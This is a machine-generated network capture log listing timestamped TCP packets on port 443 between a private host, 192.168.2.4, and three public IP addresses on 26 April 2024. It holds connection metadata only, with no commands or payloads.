Apr 26, 2024 09:59:41.144629955 CEST	49949	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.144666910 CEST	443	49949	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.144695044 CEST	443	49949	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.144722939 CEST	49949	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.144752979 CEST	49949	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.244848967 CEST	49949	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.244889021 CEST	443	49949	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.283766031 CEST	443	49948	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.283981085 CEST	443	49948	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.284040928 CEST	49948	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.284348965 CEST	49948	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.284358025 CEST	443	49948	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.434973001 CEST	443	49953	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.435203075 CEST	49953	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.435210943 CEST	443	49953	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.436393023 CEST	443	49953	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.436686039 CEST	49953	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.436801910 CEST	49953	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.436806917 CEST	443	49953	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.436852932 CEST	443	49953	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.477411032 CEST	49953	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.592993975 CEST	443	49953	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.593116999 CEST	443	49953	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.593163013 CEST	49953	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.593174934 CEST	443	49953	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.593210936 CEST	443	49953	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.593216896 CEST	49953	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.593260050 CEST	49953	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.594288111 CEST	49953	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:41.594304085 CEST	443	49953	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:41.875085115 CEST	49957	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:41.875113010 CEST	443	49957	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:41.875289917 CEST	49957	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:41.875804901 CEST	49957	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:41.875821114 CEST	443	49957	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:42.284945965 CEST	443	49957	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:42.285332918 CEST	49957	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:42.285341978 CEST	443	49957	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:42.288896084 CEST	443	49957	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:42.288971901 CEST	49957	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:42.288978100 CEST	443	49957	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:42.289016008 CEST	49957	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:42.289408922 CEST	49957	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:42.289572001 CEST	443	49957	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:42.289628983 CEST	49957	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:42.289640903 CEST	443	49957	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:42.332607985 CEST	49957	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:42.442502022 CEST	443	49957	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:42.442806959 CEST	443	49957	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:42.442871094 CEST	49957	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:42.443834066 CEST	49957	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:42.443845987 CEST	443	49957	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:43.258725882 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.258754969 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.258851051 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.259248972 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.259262085 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.638611078 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.638839006 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.638847113 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.639791012 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.639856100 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.640566111 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.640621901 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.640892982 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.640899897 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.681385040 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.890655041 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.891026974 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.891036987 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.891052008 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.891088009 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.891114950 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.891140938 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.891166925 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.891196012 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.891381979 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.891405106 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.891441107 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.891448975 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:43.891469955 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:43.931391954 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.059001923 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.059019089 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.059077024 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.059096098 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.059170008 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.059449911 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.059465885 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.059508085 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.059515953 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.059540987 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.059556961 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.060250998 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.060266972 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.060323954 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.060329914 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.060400009 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.069991112 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.070007086 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.070055008 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.070061922 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.070111036 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.463958025 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.463967085 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.464042902 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.464045048 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.464073896 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.464103937 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.464114904 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.588399887 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.588416100 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.588490009 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.588507891 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.591159105 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.594892025 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.594906092 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.594952106 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.594959021 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.595004082 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.712464094 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.712481022 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.712543964 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.712553978 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.712594032 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.712976933 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.712991953 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.713043928 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.713048935 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.713115931 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.719187021 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.719201088 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.719254971 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.719259977 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.719302893 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.719510078 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.719523907 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.719575882 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.719583035 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.719628096 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.837471962 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.837490082 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.837559938 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.837578058 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.837918997 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.837939978 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.837977886 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.837985039 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.838001013 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.838032961 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.838521957 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.838537931 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.838592052 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.838597059 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.839281082 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.839301109 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.839334011 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.839340925 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.839351892 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.839380980 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.845102072 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.845115900 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.845170021 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.845176935 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.846090078 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.846107960 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.846149921 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.846158028 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.846185923 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.846211910 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.846807003 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.846821070 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.846868992 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.846875906 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.848259926 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.890455961 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.962641001 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.962657928 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.962726116 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.962742090 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.962799072 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.963641882 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.963658094 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.963707924 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.963715076 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.963871002 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.964549065 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.964565992 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.964598894 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.964606047 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.964632988 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.964654922 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.971235991 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.971255064 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.971292019 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.971297026 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.971318960 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.971330881 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.972382069 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.972397089 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.972441912 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.972448111 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.972490072 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.973144054 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.973159075 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.973203897 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.973211050 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:44.973331928 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:44.995573044 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.087232113 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.087249041 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.087320089 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.087347031 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.087387085 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.089509964 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.089524984 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.089601040 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.089608908 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.089684963 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.090852976 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.090867996 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.090918064 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.090924978 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.090967894 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.092415094 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.092428923 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.092483997 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.092490911 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.092525005 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.096710920 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.096724987 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.096781969 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.096790075 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.098011971 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.098030090 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.098074913 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.098082066 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.098090887 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.098118067 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.098889112 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.098903894 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.098953962 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.098961115 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.102408886 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.213632107 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.213654041 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.213741064 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.213756084 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.213965893 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.214724064 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.214739084 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.214797020 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.214804888 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.214906931 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.216360092 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.216373920 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.216449976 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.216456890 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.216520071 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.220814943 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.220833063 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.220897913 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.220905066 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.222318888 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.222727060 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.222743034 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.222795010 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.222801924 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.224216938 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.224256039 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.224298000 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.224306107 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.224325895 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.224349022 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.224934101 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.224948883 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.225007057 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.225012064 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.226639032 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.338414907 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.338432074 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.338521957 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.338537931 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.339387894 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.339406967 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.339442968 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.339451075 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.339462042 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.339488983 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.340982914 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.340998888 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.341048956 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.341054916 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.341063976 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.342288971 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.347472906 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.347495079 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.347534895 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.347542048 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.347570896 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.347589970 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.350063086 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.350079060 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.350138903 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.350147963 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.350265980 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.353836060 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.353853941 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.353919983 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.353926897 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.354264021 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.355878115 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.355894089 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.355957031 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.355962992 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.358398914 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.361908913 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.462990999 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.463020086 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.463071108 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.463083029 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.463115931 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.463129997 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.464283943 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.464306116 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.464379072 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.464386940 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.464442968 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.465547085 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.465567112 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.465610027 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.465615988 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.465646029 CEST	49961	443	192.168.2.4	152.195.19.97
